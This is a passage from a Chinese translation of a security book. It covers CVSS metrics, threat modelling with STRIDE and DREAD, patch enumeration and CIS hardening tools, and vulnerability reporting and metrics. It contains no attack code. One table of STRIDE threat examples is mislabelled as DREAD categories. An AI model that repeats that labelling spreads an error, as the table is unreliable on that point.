攻击向量只是攻击者成功利用漏洞所采取的路径。攻击向量指标表示漏洞可能被利用的方式。在互联网上远程利用的漏洞的潜在攻击者数量比需要物理访问设备的漏洞的攻击者数量要多,因此指标值会随着攻击者远程利用漏洞的程度而增加。
参数 | 描述 | 示例 |
---|---|---|
网络 | 漏洞可能通过网络远程利用。易受攻击的组件连接到网络,攻击者可以通过第 3 层(OSI)访问它。 | 发送特制的 TCP 数据包导致的拒绝服务 |
相邻 | 漏洞可以在相同的物理或逻辑网络内被利用。它不能在网络边界之外被利用。 | 蓝牙攻击,ARP 洪泛 |
本地 | 易受攻击的组件无论如何都未连接到网络,攻击者必须在本地登录才能利用漏洞。 | 特权升级 |
物理 | 只有在攻击者可以物理访问易受攻击的系统/组件时,漏洞才能被利用。 | 冷启动攻击 |
攻击复杂度
攻击复杂度度量列出了攻击者无法控制但是利用漏洞所需的所有条件和先决条件。例如,可能存在某个特定漏洞只有在特定版本的应用程序部署在某个特定的操作系统平台上并具有一些自定义设置时才能被利用。只有满足所有这些条件,漏洞利用才可能发生。对于其他一些漏洞,可能无论应用程序版本和基本操作系统的类型如何,都可以利用。因此,条件和先决条件增加了攻击的复杂性,并且因漏洞而异:
参数 | 描述 | 示例 |
---|---|---|
低 | 不存在任何可能阻碍攻击者重复成功利用易受攻击的组件的特定条件或先决条件。 | 发送特制的 TCP 数据包导致的拒绝服务 |
高 | 攻击的成功依赖于攻击者无法控制的特定条件。因此,攻击者不能随心所欲地发动成功的攻击,需要在准备攻击方面付出相当大的努力。 | 涉及随机令牌、序列号等攻击 |
所需特权
所需特权度量定义了攻击者必须具有的特权级别,以成功利用漏洞。可能存在一些漏洞可以在正常特权级别下被利用,而其他可能严格要求 root 或管理员级别的特权才能成功利用:
参数 | 描述 |
---|---|
无 | 攻击者不需要任何先前特权或访问权限来执行攻击。 |
低 | 攻击者需要有限或最低特权才能成功执行攻击。 |
高 | 攻击者需要显著的特权,如管理员或根权限,才能利用易受攻击的组件。 |
用户交互
用户交互度指示目标用户除了攻击者的行动之外需要执行的操作,以成功利用漏洞。一些漏洞可能仅由攻击者利用,而其他可能需要额外的用户交互/参与:
参数 | 描述 | 示例 |
---|---|---|
无 | 攻击者可以在不需要受害者/用户任何交互的情况下利用易受攻击的系统/组件。 | 发送特制的 TCP 数据包导致的拒绝服务 |
必需 | 攻击者需要受害者(用户)执行某种操作才能利用漏洞。 | 无线点击攻击,点击劫持 |
范围
CVSS 3.0 允许我们捕获组件漏洞的指标,这也会影响其范围之外的资源。范围指的是受漏洞影响的脆弱组件的哪些部分或者利用漏洞会影响哪些关联。范围由授权机构分隔。漏洞可能会影响相同授权机构内或不同授权机构内的组件。例如,允许攻击者修改基础(主机)系统文件的虚拟机中的漏洞将包括两个系统在范围内,而允许攻击者修改系统主机文件的 Microsoft Word 中的漏洞将属于单一授权机构:
参数 | 描述 |
---|---|
未更改 | 利用漏洞只会影响受影响组件管理的资源 |
更改 | 利用漏洞可能会影响脆弱组件边界之外的资源 |
影响度指标
影响度指标表示受影响组件的机密性、完整性和可用性等各种属性。
机密性影响
机密性影响表示成功利用漏洞后信息机密性的影响:
参数 | 描述 |
---|---|
高 | 完全丧失机密性,导致攻击者完全访问资源。例如,对密码的攻击和窃取私人加密密钥可能导致机密性完全丧失。 |
低 | 机密性有限损失。虽然获取了机密信息,但攻击者无法完全控制获取的信息。 |
无 | 受影响组件内机密性没有影响。 |
完整性影响
完整性影响指标表示成功利用漏洞后信息完整性的影响:
参数 | 描述 |
---|---|
高 | 完全丧失完整性。例如,攻击者能够修改受影响组件保护的所有文件。如果攻击者能够部分修改信息,这将导致严重后果。 |
低 | 虽然数据可能被修改,但攻击者无法完全控制修改的数量或后果。受影响组件没有严重影响。 |
无 | 受影响组件内完整性没有影响。 |
可用性影响
可用性影响指标表示成功利用漏洞后受影响组件的可用性影响。可用性的丧失可能是由于网络服务停止,如 Web、数据库或电子邮件。所有倾向于消耗网络带宽、处理器周期或磁盘空间资源的攻击都可以由此指标表示:
参数 | 描述 |
---|---|
高 | 完全丧失可用性,导致无法访问受影响组件的资源 |
低 | 资源可用性受到有限影响 |
无 | 受影响组件内可用性没有影响 |
时间度量组
时间度量指标表示各种利用技术、补丁或解决方法的现有状态,或者对漏洞存在的程度的信心。
利用代码成熟度
利用代码成熟度指标表示漏洞被利用的可能性,取决于现有的利用技术状态和代码可用性。
一些利用代码可能是公开可用的,使它们易于许多攻击者访问。这增加了漏洞被利用的可能性。注意以下参数:
参数 | 描述 |
---|---|
未定义 | 将此值分配给指标不会影响分数。它只是指示评分方程跳过此指标。 |
高 | 存在功能自主代码,或者不需要利用(手动触发)并且详细信息广泛可用。 |
功能 | 功能性利用代码可用,并且在大多数情况下有效。 |
概念验证 | 概念验证明显可用。代码可能在所有情况下都不起作用,并且可能需要熟练攻击者进行大量编辑。 |
未经证实 | 利用代码不可用或利用只是假设的。 |
修复级别
修复级别度量标准表示可用于减轻漏洞的修复、补丁或解决方法的级别。它可以帮助优先处理漏洞修复:
参数 | 描述 |
---|---|
未定义 | 将此值分配给度量标准不会影响分数。它只是指示评分方程跳过此度量标准。 |
不可用 | 不存在解决方案或者无法应用解决方案。 |
绕过 | 存在非官方的、非供应商的修复;这可能是一种内部补丁。 |
临时修复 | 官方的临时修复存在;可能以快速修复/热修复的形式存在。 |
官方修复 | 存在完整且经过测试的修复,并且供应商已正式发布。 |
环境度量标准仅在分析人员需要在受影响组织的特定领域定制 CVSS 分数时使用。您可以在www.first.org/cvss/cvss-v30-specification-v1.8.pdf
上阅读更多关于环境度量标准的信息。
报告信心
报告信心度量标准表示对漏洞存在和资源以及技术细节的真实性的信心水平。可能某个特定漏洞发布时没有额外的技术细节。在这种情况下,根本原因和影响可能是未知的:
参数 | 描述 |
---|---|
未定义 | 将此值分配给度量标准不会影响分数。它只是指示评分方程跳过此度量标准。 |
确认 | 存在全面的报告或漏洞/问题可以在功能上重现。可能有源代码可用于手动验证研究结果,或者受影响代码的作者/供应商已确认漏洞的存在。 |
合理 | 已发布了相当多的细节,但研究人员对根本原因并不完全有信心。研究人员可能无法访问源代码以确认研究结果。 |
未知 | 有关漏洞存在的报告;然而,其原因是未知的。对漏洞的真实性存在不确定性。 |
CVSS 计算器
在前面的部分中,我们看了计算最终 CVSS 分数所考虑的各种度量标准类别。在计算分数时考虑这么多值可能看起来令人不知所措。然而,通过使用在线 CVSS 计算器,这项任务变得很容易。它可以在www.first.org/cvss/calculator/3.0
上访问。
在线 CVSS 计算器具有所有必需的参数,您需要根据您的环境和漏洞上下文选择合适的参数。完成后,最终分数将自动填充。
以下屏幕截图显示了在为任何参数选择值之前的 CVSS 计算器:
考虑一个可能在网络上远程利用的漏洞,执行起来非常复杂,需要高权限账户,并且需要目标用户的某种互动,同时对机密性、完整性和可用性的影响很小。在这种情况下,CVSS 分数将是 3.9,并被评为低,如下图所示:
让我们考虑另一个可能在网络上远程利用的漏洞;然而,它非常容易执行。它需要低或正常的账户权限,并需要目标用户的某种交互,而对机密性、完整性和可用性的影响很小。在这种情况下,CVSS 评分将为 5.5,并被评为中等,如下面的屏幕截图所示:
让我们考虑另一个可能在网络上远程利用的漏洞。然而,它非常容易执行,不需要任何特定的账户权限,也不需要目标用户的任何交互。如果漏洞成功被利用,对机密性和完整性的影响将很大,而可用性的影响将很小。在这种情况下,CVSS 评分将为 9.4,并被评为关键,如下面的屏幕截图所示:
摘要
在本章中,我们了解了漏洞评分的重要性以及评分任何给定漏洞需要考虑的各种参数。
第十九章:威胁建模
本章是关于理解和准备威胁模型。您将了解威胁建模的基本概念,并获得使用各种威胁建模工具的实际知识。
我们将在本章中涵盖以下主题:
-
定义威胁建模
-
威胁建模的好处
-
威胁建模术语
-
执行威胁建模的逐步程序
-
威胁建模的技术-STRIDE、PASTA、DREAD
-
微软威胁建模工具和 SeaSponge
什么是威胁建模?
威胁建模这个术语,起初可能听起来非常复杂和繁琐。然而,一旦理解,它确实是一个简单的任务。我们将在本章中通过适当的插图来简化威胁建模的概念。
让我们试着分解这两个词,威胁和模型。以下是这两个词的词典含义:
-
威胁:可能造成损害或危险的人或事物
-
模型:作为跟随或模仿的示例使用的系统或事物
现在,再次结合这两个词,它们共同意味着什么?威胁建模只不过是一种正式的方式来识别潜在的安全问题。
让我们举一个非常简单的例子来理解这一点。
以下图表描述了一座堡垒:
这座堡垒是国王居住的地方,需要严格的安全措施来对抗他的敌人。因此,建筑师在设计堡垒的结构时,也需要考虑可能危及堡垒安全的各种威胁。
一旦建筑师确定了可能的威胁,他们就可以通过各种可能的手段来减轻威胁。堡垒的一些威胁可能是以下的:
-
敌人通过后方攻击,那里的堡垒防守较弱
-
敌人向堡垒的墙壁发射炮弹
-
由于极端天气导致堡垒墙壁的腐蚀和磨损
-
敌方大象强行打破堡垒的主入口门
我们刚刚为一座古老的堡垒准备了一个威胁模型。这很简单;我们试图想出所有可能的方式,通过这些方式堡垒的安全可能会被故意或无意地破坏。同样,在建造总统府或任何重要的行政办公室时,都必须准备威胁模型。
从前面的例子中,我们可以理解威胁建模是一个通用的概念,可以应用于任何需要安全的领域或领域。由于本书涉及信息安全,我们将讨论如何为给定的信息系统准备威胁模型。
如果在开发生命周期的设计阶段进行威胁建模,那么威胁建模可能会最有效和有益。在 SDLC 的后期阶段修复错误的成本显著上升。
威胁建模在软件开发生命周期中非常常用。它使软件开发过程中的参与者能够高效地创建和交付安全软件,并更有信心地了解和考虑所有可能的安全缺陷。
威胁建模的好处
对于任何给定的项目,了解可能妨碍整体进展的威胁总是有帮助的。威胁建模正是做同样的事情。威胁建模的一些好处包括:
-
威胁建模通过设计本身就能够产生安全的软件-如果在设计阶段正确进行威胁建模,那么最终产品将在很大程度上对抗大多数常见的潜在威胁。
-
威胁建模允许我们以更有结构的方式思考和讨论产品安全-威胁建模提供了一种更正式和有结构的方式来列举和记录安全威胁,而不是以临时方式讨论安全威胁。
-
威胁建模允许开发团队在 SDLC 过程的早期有效地识别和定义安全缺陷。
-
威胁建模允许我们记录和分享应用程序安全知识——随着技术的快速升级,威胁形势也在快速变化。持续的威胁建模练习将有助于确保最新的威胁被考虑并预期用于设计缓解控制措施。
-
威胁建模增加了客户对安全的信心——威胁建模过程的文档化证据肯定会增强客户对系统安全的信心。
-
持续的威胁建模练习将有助于减少整体攻击面积。
-
威胁建模有助于量化安全控制,使其更实际地与安全预算保持一致。
威胁建模术语
在我们深入讨论如何建模威胁之前,我们必须熟悉威胁建模过程中使用的一些常见术语。一些常见术语如下:
-
资产: 资产可以是有价值的任何资源。资产可以是有形的或无形的。例如,数据中心中的大型计算机可能是有形资产,而组织的声誉可能是无形资产。
-
攻击: 当参与者或威胁代理利用系统中的一个或多个漏洞采取行动时,就会发生攻击。例如,当有人利用跨站脚本漏洞窃取用户 cookie 和会话 ID 时,可能会发生应用程序会话劫持攻击。
-
攻击向量: 攻击向量是攻击者成功损害系统所采取的路径。例如,向受害者发送带有恶意附件的电子邮件可能是一种可能的攻击向量。
-
攻击面: 攻击面基本上标记了需要在列举威胁时考虑的范围内组件。攻击面可以是逻辑的或物理的。
-
对策: 简单来说,对策有助于解决或减轻漏洞,从而降低攻击的可能性,进而降低威胁的影响。例如,安装防病毒软件可以是应对病毒威胁的一种对策。
-
使用案例: 使用案例是符合业务需求的正常功能情况。例如,允许最终用户选择喜欢的颜色的下拉菜单可能是应用程序的使用案例之一。
-
滥用案例: 当用户(参与者)故意滥用功能使用案例以达到意外结果时,称为滥用案例。例如,攻击者可能向最大长度为 20 的输入字段发送 1000 个字符。
-
参与者或威胁代理: 参与者或威胁代理可能是使用或滥用案例的合法或不利用户。例如,使用有效凭据登录应用程序的普通最终用户是一个参与者,而使用 SQL 注入登录应用程序的攻击者也是一个参与者(威胁代理)。
-
影响: 简单来说,影响是成功攻击后的损害价值。它可以是有形的或无形的。如果系统中的财务数据被突破,可能会产生收入影响,而如果公司网站被篡改,可能会产生声誉影响。
-
攻击树: 攻击树以可视化方式展示了成功攻击或损害目标的各种路径。以下图表显示了获取对 Windows 系统访问的样本攻击树:
- 数据流图: 用于可视化系统各组件之间的交互的各种类型的图表。尽管有不同类型的威胁建模图表,但最常用的类型是数据流图(DFD)。DFD 用于显示应用程序的主要组件以及这些组件之间的信息流动。DFD 还显示了信任边界,显示了可信信息和在应用程序中使用时需要额外注意的信息之间的分离。
如何建模威胁?
威胁建模的过程可以根据多种因素而变化。然而,一般来说,威胁建模过程可以分解为以下步骤:
-
安全目标的识别: 在实际开始威胁建模之前,了解进行威胁建模练习背后的目标是非常重要的。可能存在某些需要解决的合规性或监管要求。一旦了解了驱动因素,就更容易在过程中可视化可能的威胁。
-
资产和外部因素/依赖的识别: 除非我们确切知道我们要保护什么,否则就不可能列举出威胁。识别资产有助于建立进一步建模过程的基础。资产需要受到攻击者的保护,并且可能需要优先考虑采取对策。还需要识别可能的外部实体或依赖关系,这些可能不是系统的直接部分,但仍可能对系统构成威胁。
-
信任区域的识别: 一旦确定了资产和外部依赖关系,下一步就是识别所有入口点和出口点以及信任区域。这些信息可以有效用于开发带有信任边界的数据流图。
-
识别潜在威胁和漏洞: 威胁建模技术,如 STRIDE(在接下来的部分中讨论),可以给出关于影响给定系统的常见威胁的简要概念。一些例子可能包括 XSS、CSRF、SQL 注入、不正确的授权、破损的身份验证和会话管理漏洞。然后需要识别和评估更容易受到风险的系统区域,例如不足的输入验证、不当的异常处理、缺乏审计日志记录等。
-
威胁模型的文档化: 威胁建模不是一次性的活动;相反,它是一个迭代过程。在每次迭代后全面记录威胁是非常重要的。文档可以为架构师提供关于需要在设计系统时考虑的可能威胁的良好参考,并且还允许他们考虑可能的对策。开发人员也可以在开发阶段参考威胁建模文档,以明确处理某些威胁场景。
威胁建模技术
有各种威胁建模技术和方法。STRIDE 和 DREAD 就是其中两种。我们将在接下来的部分学习 STRIDE 和 DREAD 的方法论。
STRIDE
STRIDE 是微软开发的一种易于使用的威胁建模方法。STRIDE 有助于识别威胁,是以下术语的缩写:
- S—欺骗: 欺骗类的威胁包括对手创建和利用有关某人或某物身份的混淆。
例如,对手发送电子邮件给用户,假装是别人。
- T—篡改: 篡改威胁涉及对手在存储或传输中对数据进行修改。
例如,对手拦截网络数据包,更改支付信息,然后转发给目标。
- R—否认: 否认包括对手执行某种行动,然后事后否认执行了该行动。
例如,对手向受害者发送威胁性邮件,后来否认发送该邮件。
- I—信息泄露:信息泄露威胁涉及对机密信息进行未经授权的访问。
例如,对手使用暴力攻击获取用户的密码。
对手获取了包含许多用户付款信息的数据库。
- D—服务拒绝:服务拒绝威胁涉及拒绝合法用户访问系统或组件。
例如,对手通过发送一个特制的 TCP 数据包导致 Web 服务器崩溃,从而拒绝合法用户访问。
- E—权限提升:权限提升威胁涉及用户或组件能够访问未经授权的数据或程序。
例如,一个甚至没有读取权限的对手也能够修改文件。
一个普通(非特权)账户的对手能够执行管理员级别的任务。
上述威胁清单可以应用于目标模型的组件。多个威胁可以被归类为威胁类别,如下表所示:
DREAD 类别 | 威胁示例 |
---|---|
伪装 | 攻击者冒充管理员,向组织中的所有用户发送钓鱼邮件。 |
篡改 | 攻击者拦截并修改发送到应用程序的数据。 |
否认 | 攻击者发送威胁性邮件,后来否认发送该邮件。 |
信息泄露 | 攻击者获取包含用户凭据的数据库的明文信息。 |
服务拒绝 | 攻击者从多个来源向单个目标发送大量数据包,以使其崩溃。 |
权限提升 | 攻击者利用易受攻击的组件来提升权限。 |
DREAD
虽然 STRIDE 方法可以用于识别威胁,但 DREAD 方法可以有效地对威胁进行评级。DREAD 是以下术语的缩写:
-
D—损害潜力:损害潜力因素定义了如果利用成功可能造成的潜在损害。
-
R—可重现性:可重现性因素定义了再现利用的容易或困难程度。某些利用可能非常容易再现,而另一个可能由于多个依赖关系而困难。
-
E—可利用性:可利用性因素定义了使利用成功所需的确切条件。这可能包括对特定领域的知识,或对某种工具的技能等。
-
A—受影响的用户:受影响的用户因素定义了如果利用成功将受到影响的用户数量。
-
D—可发现性:可发现性因素定义了考虑中的威胁可以被发现的容易程度。环境中的一些威胁可能很容易被注意到,而另一些可能需要使用额外的技术来揭示。
因此,STRIDE 和 DREAD 可以结合使用,以产生有效和可操作的威胁模型。
威胁建模工具
尽管威胁建模可以很容易地用简单的纸和笔完成,但也有一些专门的工具可用于简化整个过程。我们将看看两种可以有效用于建模威胁的工具。
微软威胁建模工具
用于威胁建模的最广泛使用的工具是微软威胁建模工具。它可以免费提供给所有人,并可以从www.microsoft.com/en-in/download/details.aspx?id=49168
下载。
一旦下载并安装,初始屏幕如下所示:
单击“创建模型”开始设计新的威胁模型,如下屏幕截图所示。您将看到一个空白画布,可以继续设计:
右侧窗格如下屏幕截图所示,具有所有必要的元素。您可以简单地将所需的元素拖放到画布中,如下屏幕截图所示:
一旦所有组件都添加并连接,威胁模型应该看起来像下面的屏幕截图所示的样子:
为了为给定的威胁模型列举威胁,选择“查看|分析视图”。分析窗格提供了有关给定威胁模型对应的各种威胁的信息,如下屏幕截图所示:
为了生成威胁报告,选择“报告|创建完整报告”,然后选择
报告的文件名和路径,如下屏幕截图所示:
SeaSponge
SeaSponge 是另一个项目(这次是由 Mozilla 开发)用于建模威胁。您可以从github.com/mozilla/seasponge
下载它以供离线使用,或者它还有一个在线版本可用于建模威胁。在线版本位于mozilla.github.io/seasponge
。
以下屏幕截图显示了 SeaSponge 在线工具的第一个屏幕。我们可以通过单击“创建模型”来开始创建一个新模型:
然后工具会要求一些元数据,如项目标题、作者、版本等,如下屏幕截图所示:
然后工具会为我们提供一个空白画布,左侧窗格会给我们添加组件的选项,如下屏幕截图所示:
我们现在可以根据需要向我们的威胁模型添加不同的元素,如下图所示。
然而,与微软威胁建模工具自动列举可能的威胁不同,SeaSponge 要求用户手动列举并将威胁添加到模型中。
摘要
在本章中,我们学习了威胁建模、威胁建模的好处及其术语。我们还学习了不同的威胁建模技术,如 STRIDE 和 DREAD,以及微软威胁建模工具和 SeaSponge 等工具。
第二十章:补丁和安全加固
本章是关于理解补丁和安全加固的各个方面。您将了解补丁的重要性,以及在目标系统上枚举补丁级别的实际技术,并制定加固基础设施安全的安全配置指南。
在本章中,我们将学习以下主题:
-
定义补丁
-
Windows 和 Linux 上的补丁枚举
-
安全加固和安全配置审查简介
-
利用互联网安全中心(CIS)的加固基准
定义补丁?
通常,一款软件经过整个 SDLC 的开发后,然后公开发布。我们通常假设它将满足所有功能要求,并且能够抵御潜在的威胁。然而,可能是软件中的某些功能被错误地破坏,从而允许攻击者利用潜在的漏洞。现在,一旦确切的问题被发现,供应商会尽快修补受影响的软件组件。
一旦补丁准备就绪,它将通过官方渠道分发给所有客户。但是,客户需要确保他们的系统上应用了正确和最新的补丁。如果未能这样做,系统将容易受到严重威胁。这就需要一种系统化的方法来管理补丁。
最常见的漏洞是由各种软件组件中缺少的补丁导致的。因此,如果我们主动管理系统上的补丁,那么最常见的漏洞将得到解决。
补丁管理是一个明确定义和组织良好的过程,有助于在现有系统上识别、测试和应用各种补丁。
补丁枚举
为了知道任何给定系统需要应用哪些补丁,首先重要的是要知道该系统当前运行的软件版本以及其当前的补丁级别。补丁枚举是评估任何给定系统当前补丁级别的过程。一旦知道了当前的补丁级别,就可以计划和应用进一步的补丁更新。
Windows 补丁枚举
随着大量受欢迎和广泛使用的产品,微软经常向其客户发布补丁更新。微软通常在每个月的第二个星期二发布补丁。以下截图显示了微软补丁更新站点上有关最新补丁发布的信息:
在没有集中的补丁管理系统的情况下,可以从前面截图中显示的门户网站上单独下载并应用微软补丁。
在计划更新之前,了解系统上补丁的当前状态是至关重要的。为了使这项任务更容易,微软提供了一个名为Microsoft Baseline Security Analyzer(MBSA)的实用程序。可以从www.microsoft.com/en-in/download/details.aspx?id=7558
下载该实用程序。
以下截图显示了 MBSA 的启动屏幕:
我们可以选择“扫描计算机”选项并继续到下一个屏幕,如下截图所示。然后我们可以通过指定远程 IP 地址来扫描本地系统或远程系统。我们还可以选择将什么作为我们评估的一部分:
单击“开始扫描”后,MBSA 开始在预定义的目标上运行评估,如下截图所示:
扫描完成后,MBSA 会向我们呈现详细的发现报告,如下截图所示:
根据报告中的发现,我们可以决定通过应用缺失的补丁和设置来进行缓解。
Linux 补丁枚举
在前面的部分中,我们看到了 MBSA 如何用于评估任何 Microsoft 系统的安全性和补丁级别。我们也可以对 Linux 系统进行类似的评估。为了在 Linux 系统上执行安全性和补丁枚举,我们可以使用一个名为Lynis的工具,可以在cisofy.com/lynis/
找到。
Lynis 是一个全面的工具,可以有效用于安全审计、合规性测试、漏洞检测和系统加固。它可以在几乎所有基于 UNIX 的系统上运行。虽然它在某些 Linux 发行版中预装,比如 Kali Linux,但你可能需要在其他 Linux 版本上单独安装它;请注意以下截图:
一旦 Lynis 完成所有测试,将在位置/var/log/lynis.log
生成详细报告。报告包含对所评估系统的安全健康检查的所有信息。
安全加固和安全配置审查
当我们在网络浏览器中看到一个应用程序运行时,那只是冰山一角。支持应用程序的是大量的基础架构,通常包括 Web 服务器、数据库服务器、操作系统等。因此,即使最终应用程序非常安全,基础架构组件可能存在漏洞,允许攻击者 compromise 系统。这就是安全加固的作用所在。
为了保护完整的应用程序生态系统,包括基础架构,必须对所有参与的组件进行安全配置审查,并相应地加固安全。实现这一点的简单方法可能是查看每个组件的配置文件,然后配置与安全相关的项目。另一种更好的方法可能是使用行业标准基准进行安全配置。互联网安全中心(CIS)为各种平台提供安全基准。这些基准经过充分研究和测试。
使用 CIS 基准
CIS 为各种平台提供安全基准,如服务器、操作系统、移动设备、浏览器等。有两种方法可以使用 CIS 基准:
-
从
www.cisecurity.org/cis-benchmarks/
单独下载所需平台的基准,然后根据基准手动验证配置。 -
使用自动化工具对目标平台进行 CIS 基准评估,比如 CIS CAT 工具。CIS CAT 工具可以从
learn.cisecurity.org/cis-cat-landing-page
获取。
CIS CAT 工具的免费版本仅支持有限数量的基准评估,而专业版本允许评估所有可用的 CIS 基准。
以下截图显示了 CIS CAT 工具的启动屏幕:
我们选择 CIS Google Chrome 基准进行评估。然后我们需要选择我们需要包括在评估中的配置文件,如下图所示。Level 1 配置文件通常包含最重要和最基本的需要评估的检查,而 Level 2 配置文件包含根据上下文可以选择的检查:
现在我们选择输出格式和我们想要生成报告的位置,如下图所示:
现在我们可以查看我们的评估摘要,然后按照下图所示启动扫描。
一旦我们开始评估,CIS CAT 工具将运行所有预定义的与 Chrome 相关的检查,如下截图所示:
评估完成后,CIS CAT 工具会显示哪些检查通过了,哪些失败了,如下截图所示。此外,还会在预先配置的目录中生成 HTML 格式的详细报告:
摘要
在本章中,我们了解了修补的相关性以及安全配置如何有助于保护应用程序生态系统。在下一章中,我们将学习报告的各个方面,以及安全指标的重要性。
第二十一章:漏洞报告和指标
在本章中,我们将讨论报告漏洞对不同类型受众产生影响的相关性。我们还将探讨围绕漏洞管理计划可以建立的各种指标。
在本章中,我们将涵盖以下主题:
-
报告的重要性
-
报告类型
-
报告工具
-
Faraday v2.6 的协作漏洞管理
-
指标
报告的重要性
漏洞评估和渗透测试是冗长的过程。它们需要大量的时间、精力和投入才能完成。然而,除非以有意义的方式呈现评估结果,否则所有的时间和精力都是没有用的。
通常情况下,安全性通常被视为一种额外负担。因此,在组织中对安全评估结果感兴趣的人数会很少。然而,有必要以最简洁清晰的方式呈现调查结果,以便在组织内更广泛的受众中显得有趣且可操作。
从审计的角度来看,报告也是至关重要的。大多数组织每年都要进行某种形式的审计,内部或外部。这些审计需要安全评估报告。因此,值得努力创建和维护评估报告。
报告类型
一种尺寸的服装不能适合所有人。同样,一个报告可能对组织中的每个人都没有用处和意义。在任何组织中,不同层次的人可能对不同的领域感兴趣。因此,在创建和发布任何报告之前,了解和分类目标受众是很重要的。
高管报告
高级主管,主要是在 CXO 级别,特别感兴趣的是获取组织中漏洞的高层摘要。高管报告专门为这样的高级别受众准备,通常包含漏洞概要。它们更关注关键和高严重性问题及其当前的纠正状态。高管报告包含大量的人口统计学数据,以快速描绘组织的安全状况。
详细的技术报告
详细的技术报告专门为负责修复已识别漏洞的团队准备。这些报告包含有关发现的漏洞的深入信息,包括以下内容:
-
漏洞描述
-
漏洞类别
-
CVE 详细信息(如果有)
-
漏洞严重程度
-
受影响的平台/应用组件
-
概念验证(如果有)
-
在 Web 应用程序的情况下,完整的请求和响应头
-
修复漏洞的建议
-
任何外部参考资料(如果有)
这些技术细节帮助团队准确理解和纠正漏洞。
报告工具
对于任何给定的漏洞评估或渗透测试,可以使用任何文字编辑器手动创建报告。然而,随着评估数量的增加,手动创建和管理报告可能会变得困难。在进行安全评估的同时,我们可以使用一些专门的工具来跟踪我们的工作,然后轻松生成报告。以下部分描述了一些可以帮助我们创建报告的工具,并且在默认的 Kali Linux 中可以直接使用。
Dradis
Dradis 是一个出色的报告框架,是默认 Kali Linux 安装的一部分。可以通过导航到应用程序|报告工具|dradis 来访问它。
初始屏幕提供了配置 Dradis 设置的选项,包括登录凭据,如下图所示:
一旦配置了登录凭据,您可以使用您的凭据登录,如下截图所示:
一旦登录,初始的 Dradis 仪表板看起来像下面的截图所示。它提供了各种选项,包括导入报告、导出报告、添加问题和方法等:
要开始使用 Dradis,您可以使用上传管理器从支持的工具中导入扫描结果。Dradis 目前支持从以下工具导入报告:
-
Brakeman
-
Burp
-
Metasploit
-
NTOSpider
-
Nessus
-
Nexpose
-
Nikto
-
Nmap
-
OpenVAS
-
Qualys
-
ZAP
以下截图显示了 Dradis 上传管理器,用于从外部工具导入扫描结果:
虽然 Dradis 提供从外部工具导入扫描结果的选项,但它也提供手动添加问题的选项,如下截图所示:
一旦添加了所有问题,无论是手动还是通过导入扫描结果,我们现在可以使用 Dradis 导出管理器生成一个整合报告,如下截图所示:
KeepNote
KeepNote 是另一个简单但有用的报告工具,并且在默认的 Kali Linux 安装中可用。它可能不像 Dradis 那样先进,但确实可以将发现整合到单个报告中。
可以通过导航到应用程序 | 报告工具 | keepnote 来访问。
以下截图显示了 KeepNote 的初始屏幕:
KeepNote 确实非常简单易用,顶部有一个标准的工具栏和用于管理数据的窗格。在左侧窗格中,您可以创建一个新的文件夹/页面并创建一个层次结构,如下截图所示:
一旦层次结构准备好并且所有必需的数据都在工具中,我们可以将其导出为单个报告,如下截图所示:
Faraday v2.6 的协作漏洞管理
Faraday 是一个协作漏洞管理工具。Faraday 允许多个渗透测试人员同时工作并将测试数据收集到一个地方,而不是孤立工作。Faraday 是默认 Kali Linux 安装的一部分,可以通过导航到应用程序 | 报告工具 | faraday IDE 来访问。
faraday IDE 服务启动后,以下截图显示了初始仪表板:
Faraday 还有一个命令行控制台,可以用来启动扫描,如下截图所示:
一旦从 Faraday 控制台触发扫描,结果就会开始在 Web 仪表板中反映出来,如下截图所示:
指标
一个组织可能已经建立了非常健全的漏洞管理计划。然而,必须有一种方式来衡量该计划的进展、成功或失败。这就是指标派上用场的时候。指标是漏洞管理计划绩效的关键指标。组织领导可以根据指标对战略和预算做出关键决策。指标还有助于展示组织的整体安全状况,并对需要优先解决的问题发出警报。
度量标准可以基于各种合规标准派生,也可以根据特定组织需求进行完全定制。接下来的部分描述了一些这样的度量标准及其相关性。这些度量标准可以根据组织政策的频率进行报告。当使用各种图表(如条形图、饼图、折线图等)展示时,这些度量标准可以最好地呈现出来。
检测平均时间
尽快了解漏洞的存在总是好的。检测平均时间是一种度量标准,本质上衡量了漏洞在整个组织中被发现之前需要多长时间。理想情况下,这个度量标准的值应该最小。例如,如果一个心脏出血漏洞今天被发布,那么在整个组织中确定所有受影响的系统需要多长时间?这个度量标准的数据可以每季度发布和比较,每个季度的值理想情况下应该比上一个季度小。
解决平均时间
尽快发现漏洞很重要,同样重要的是尽快修复或减轻已识别的漏洞。漏洞开放的时间越长,攻击者就越有机会利用。解决平均时间是考虑在漏洞被识别后,修复任何给定漏洞所需的平均时间间隔的度量标准。这个度量标准的数据可以每季度发布和比较,每个季度的值理想情况下应该比上一个季度小。
扫描覆盖率
即使一个组织已经建立了健全的漏洞管理程序并配备了良好的扫描工具,了解所有资产是否都被扫描也很重要。扫描覆盖率度量标准衡量了组织中所有已知资产与实际被扫描的资产之间的比率。资产可以是基础设施组件,如操作系统、数据库等,也可以是应用程序代码块。这个度量标准的数据可以每季度发布和比较,每个季度的值理想情况下应该比上一个季度大。
按资产组的扫描频率
许多漏洞管理程序是基于一些合规需求而制定和推动的。一些合规标准可能要求资产每年进行一次扫描,而其他标准甚至可能要求每季度进行扫描。这个度量标准展示了各种资产组的扫描频率。
开放的关键/高严重漏洞数量
并非每个漏洞的严重程度都相同。漏洞通常分为关键、高、中、低和信息性等各种类别。然而,具有关键和高严重程度的漏洞需要优先处理。这个度量标准快速概述了组织内所有开放的关键和高严重漏洞。这有助于管理层优先处理漏洞。这个度量标准的数据可以每季度发布和比较,每个季度的值理想情况下应该比上一个季度小。
按业务单位、资产组等的平均风险
每个组织都包括不同的业务单位。这个度量标准突出了基于业务单位分类的平均风险。一些业务单位可能存在最少的开放风险,而其他可能存在多个需要优先关注的开放风险。
已批准的异常数量
虽然在将任何系统投入生产之前修复所有漏洞是好的,但也会有例外情况。业务始终是优先考虑的,信息安全必须始终与业务目标保持一致和支持。因此,可能会出现这样的情况,由于一些紧急的业务优先事项,系统在生产中以安全例外的方式投入使用。因此,非常重要的是跟踪这些例外情况,并确保它们按计划进行修复。已授予的例外数量指标有助于跟踪未被减轻和已授予例外的漏洞数量。从审计的角度来看,跟踪这个指标是很重要的。这个指标的数据可以按季度发布和比较,每个季度的值理想情况下都应该比上一个季度小。
漏洞重新开放率
